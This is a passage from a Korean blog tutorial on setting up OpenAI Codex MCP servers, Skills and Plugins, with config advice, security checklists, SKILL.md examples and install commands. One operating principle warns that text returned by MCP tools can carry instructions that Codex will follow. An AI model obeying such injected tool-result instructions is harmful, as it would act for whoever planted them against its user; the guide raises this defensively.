&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;초심자용으로 풀면 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;startup_timeout_sec&lt;/code&gt;는 서버가 켜질 때까지 기다리는 시간이고, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;tool_timeout_sec&lt;/code&gt;는 MCP 도구 하나가 응답할 때까지 기다리는 시간이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;위 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled_tools&lt;/code&gt; 값은 필드 형태를 보여주는 템플릿이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제로는 해당 MCP 서버가 노출하는 도구명을 확인해 넣어야 한다. 공식 문서 기준으로 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled_tools&lt;/code&gt;는 허용 목록이고, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;disabled_tools&lt;/code&gt;는 차단 목록이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;보수적으로 운영하려면 처음에는 필요한 도구만 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled_tools&lt;/code&gt;로 열고, 실제 사용하면서 넓히는 방식이 낫다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버는 Codex의 행동 반경을 넓힌다. 특히 GitHub, 브라우저, 로그 시스템처럼 외부 상태를 바꿀 수 있는 도구는 처음부터 넓게 열지 말고 필요한 도구만 확인해가며 연다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버를 켜기 전 체크리스트&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;서버 출처와 설치 명령이 공식 문서나 신뢰 가능한 저장소에서 확인되는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;서버가 노출하는 도구 목록을 보고 읽기 전용과 쓰기 가능 도구를 구분했는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;토큰 값 자체가 아니라 환경변수 이름만 config에 남기는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;응답이 느린 서버를 위해 timeout을 늘리더라도 Codex 전체 작업이 멈추지 않을 범위인가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;문제가 생겼을 때 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;enabled = false&lt;/code&gt;나 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;disabled_tools&lt;/code&gt;로 빠르게 좁힐 수 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.5 MCP 운영 3원칙&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP 서버를 처음 도입하는 팀이 같은 실수를 반복한다. 세 원칙은 그 실수를 예방하는 데서 나왔다.&lt;/p&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쓰기 가능 도구는 읽기 가능 도구와 반드시 분리한다&lt;/b&gt; &amp;mdash; 같은 서버라도 읽기&amp;middot;쓰기 도구는 다른 환경에서 관리한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP tool result를 사용자 입력과 같은 수준으로 다룬다&lt;/b&gt; &amp;mdash; 외부 서버가 반환하는 텍스트는 신뢰 경계 밖에서 온다. 그 안에 지시문이 있으면 Codex가 따른다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장애 시 빠르게 좁힐 수 있는 구조를 미리 만든다&lt;/b&gt; &amp;mdash; enabled = false 또는 disabled_tools로 즉시 차단 가능한 상태를 유지한다&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff4; border-left: 4px solid #27ae60; padding: 16px 18px; margin: 20px 0; border-radius: 8px;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;초보자 졸업 체크리스트&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;☐ context7 MCP 1개 등록해봤다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;☐ Skill 1개 직접 작성해봤다 (SKILL.md frontmatter + 지시문)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;☐ 토큰을 config에 직접 쓰지 않고 환경변수로 분리했다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;☐ 자연어 한 줄 요청 &amp;mdash; 원하는 결과가 나왔다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;☐ Plugin은 팀 합류자가 생길 때 다시 봐도 늦지 않다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Skills &amp;mdash; 이론과 실제 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP를 이해한 뒤에는 Plugin과 Skill의 경계를 잡아야 한다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plugins 공식 문서&lt;/a&gt;를 풀어 쓰면 Plugin은 GitHub에 올려두면 다른 팀도 설치해서 쓸 수 있는 MCP&amp;middot;Skill 묶음 패키지다. 이 묶음의 정보지가 &lt;b&gt;manifest&lt;/b&gt;(plugin manifest &amp;mdash; 이름&amp;middot;버전&amp;middot;포함된 MCP 서버 목록을 담은 설정 파일, 앱스토어 앱 정보지에 가깝다)다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTzhLX/dJMb99M5cL1/kfyTRpF40kdHXJTObXYajk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTzhLX/dJMb99M5cL1/kfyTRpF40kdHXJTObXYajk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTzhLX/dJMb99M5cL1/kfyTRpF40kdHXJTObXYajk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTzhLX%2FdJMb99M5cL1%2FkfyTRpF40kdHXJTObXYajk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1086&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;반면 &lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Skills 공식 문서&lt;/a&gt;는 Skill을 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;SKILL.md&lt;/code&gt; 파일과 optional scripts, references를 가진 디렉터리로 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;즉 Skill은 작업 절차를 작성하는 형식이고, Plugin은 그것을 설치 가능한 형태로 배포하는 단위에 가깝다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WsjdO/dJMcagep11t/q4r4kMZpki5lSaVVt1GQ2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WsjdO/dJMcagep11t/q4r4kMZpki5lSaVVt1GQ2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WsjdO/dJMcagep11t/q4r4kMZpki5lSaVVt1GQ2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWsjdO%2FdJMcagep11t%2Fq4r4kMZpki5lSaVVt1GQ2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1058&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;개념을 추상 비교표로 외우는 건 잘 안 남는다. 같은 작업을 세 방식으로 구현해보면 차이가 더 빨리 손에 잡힌다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;아래는 &lt;b&gt;&quot;GitHub 이슈 #42에 'bug' 라벨 붙이기&quot;&lt;/b&gt;를 MCP&amp;middot;Skill&amp;middot;Plugin 세 방식으로 짠 예시다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;읽는 순서를 &lt;b&gt;MCP &amp;rarr; Skill &amp;rarr; Plugin&lt;/b&gt;으로 잡아두면 차이가 더 잘 보인다. 가장 낮은 층(MCP)에서 시작해서, 그걸 흐름으로 묶고(Skill), 다시 묶음을 배포 가능한 패키지로 감싼다(Plugin).&lt;/p&gt;
&lt;/div&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;방식 1 &amp;mdash; MCP로 직접 도구 호출&lt;/h4&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# MCP tool call (코드 또는 Codex 세션에서 직접 호출)
result = codex.tools.call(&quot;github_add_label&quot;, {
    &quot;repo&quot;: &quot;myorg/myrepo&quot;,
    &quot;issue&quot;: 42,
    &quot;label&quot;: &quot;bug&quot;
})&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;한 번 쓰고 끝낼 작업, 또는 다른 코드 안에서 호출해야 할 때 적합하다. 매번 같은 인자를 입력해야 하므로 반복하면 피곤해진다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;방식 2 &amp;mdash; Skill로 작업 흐름 저장&lt;/h4&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;---
name: label-bug
description: 지정된 이슈에 'bug' 라벨을 추가
---
GitHub 이슈 #{{issue_number}}에 'bug' 라벨을 추가해라.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;팀에서 자주 반복하는 작업이라면 Skill로 저장한다. 다음에 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;@label-bug 42&lt;/code&gt;처럼 호출만 하면 된다. 내부에서는 결국 MCP 도구를 호출한다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 22px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;방식 3 &amp;mdash; Plugin으로 묶어 배포&lt;/h4&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Plugin manifest 안에 위 GitHub MCP 서버 + label-bug Skill 번들링
# 팀원 누구든 한 줄로 설치
codex plugin install github-tools&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;팀 전체가 같은 MCP&amp;middot;Skill 조합을 써야 할 때 Plugin으로 묶는다. 설치 한 줄로 MCP 서버 등록과 Skill 배치까지 끝난다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #17a2b8; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;셋의 관계는 사실 직렬이다. Skill은 안에서 MCP 도구를 호출하고, Plugin은 Skill&amp;middot;MCP를 한 묶음으로 배포한다. 하나만 골라야 하는 게 아니라, 작업 빈도와 공유 범위에 따라 층을 쌓는다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 Skill은 로컬&amp;middot;저장소 워크플로에 강하다&lt;/h3&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Skill의 최소 단위는 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;SKILL.md&lt;/code&gt;다. 공식 문서의 최소 포맷은 &lt;b&gt;YAML frontmatter&lt;/b&gt;(마크다운 파일 상단에 &lt;code&gt;---&lt;/code&gt;로 감싼 메타데이터 블록 &amp;mdash; 이름, 설명 같은 구조적 정보를 기술함)의 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;name&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;description&lt;/code&gt;과 실제 지시문으로 구성된다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;---
name: skill-name
description: Explain exactly when this skill should and should not trigger.
---

Skill instructions for Codex to follow.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 PR description에 breaking changes 항목을 강제로 챙기게 하는 커스텀 Skill은 다음과 같이 쓴다. 추상 &quot;코드 리뷰 스킬&quot; 대신 실제로 검증할 수 있는 항목 한 개에 집중하는 게 핵심이다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;---
name: pr-review-breaking
description: PR description에 breaking changes 섹션 체크
---
이 PR의 description을 확인하고:
1. '## Breaking Changes' 섹션이 없으면 추가 요청
2. breaking change 항목이 있으면 각 항목의 마이그레이션 가이드 확인
3. 없으면 '없음'으로 명시 요청

완료 기준: PR description에 Breaking Changes 섹션 존재 여부 리포트&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 10px 14px; margin: 10px 0 16px; border-radius: 4px; font-size: 14px;&quot;&gt;위 예시는 직접 작성하는 &lt;b&gt;커스텀 Skill&lt;/b&gt; 구조를 보여 주는 것이다. &lt;code&gt;openai/skills&lt;/code&gt; 공개 저장소에 등록된 Skill이 아니므로 &lt;code&gt;$skill-installer&lt;/code&gt;로 설치할 수 없다.&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1046&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T87Ip/dJMcah5tEP5/rgLyf3XB5B5k2MTkqxjLn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T87Ip/dJMcah5tEP5/rgLyf3XB5B5k2MTkqxjLn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T87Ip/dJMcah5tEP5/rgLyf3XB5B5k2MTkqxjLn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT87Ip%2FdJMcah5tEP5%2FrgLyf3XB5B5k2MTkqxjLn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1942&quot; height=&quot;1046&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1046&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;문서에 따르면 Skill 디렉터리는 필수 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;SKILL.md&lt;/code&gt; 외에 선택적으로 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;scripts/&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;references/&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;assets/&lt;/code&gt;, &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;agents/openai.yaml&lt;/code&gt;을 둘 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;반복되는 릴리스 노트 작성, 보안 점검, 디자인 QA 같은 작업도 같은 패턴으로 Skill로 만들 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실습용 Skill 3종&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 18px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 26.9767%;&quot;&gt;Skill 이름&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 47.6744%;&quot;&gt;한 줄 용도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 25.2326%;&quot;&gt;공식 docs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 26.9767%;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gh-fix-ci&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 47.6744%;&quot;&gt;GitHub Actions CI 실패 자동 분석&amp;middot;수정 제안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 25.2326%;&quot;&gt;&lt;a href=&quot;https://github.com/openai/skills/tree/main/skills/.curated/gh-fix-ci&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/skills&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 26.9767%;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gh-address-comments&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 47.6744%;&quot;&gt;현재 브랜치 PR 리뷰 댓글 일괄 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 25.2326%;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/skills/tree/main/skills/.curated/gh-address-comments&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/skills&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 26.9767%;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;security-best-practices&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 47.6744%;&quot;&gt;Python &amp;middot; JS &amp;middot; Go 코드 보안 점검 및 개선 제안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 25.2326%;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/skills/tree/main/skills/.curated/security-best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/skills&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 8px 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;※ k-skill 31개(NomaDamas/k-skill)는 Claude Code / OpenClaw 타깃이므로 Codex 비대상. Claude Code의 Plugin &amp;middot; Skill 생태계는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/571&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;필자의 Claude Code Plugin &amp;middot; Skill 가이드&lt;/a&gt;를 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 공개 Skill 설치 &amp;mdash; 자연어와 수동 명령&lt;/h3&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI 공식 &lt;a href=&quot;https://github.com/openai/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai/skills&lt;/a&gt; 저장소에는 큐레이션된 Skill이 있다. 설치 명령은 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;$skill-installer&lt;/code&gt;를 사용한다. Codex 세션 안에서 자연어로 요청해도 된다.&lt;/p&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;&lt;b&gt;자연어 설치 (Codex 세션 안에서)&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 12px 0 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;gh-fix-ci 스킬 설치해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
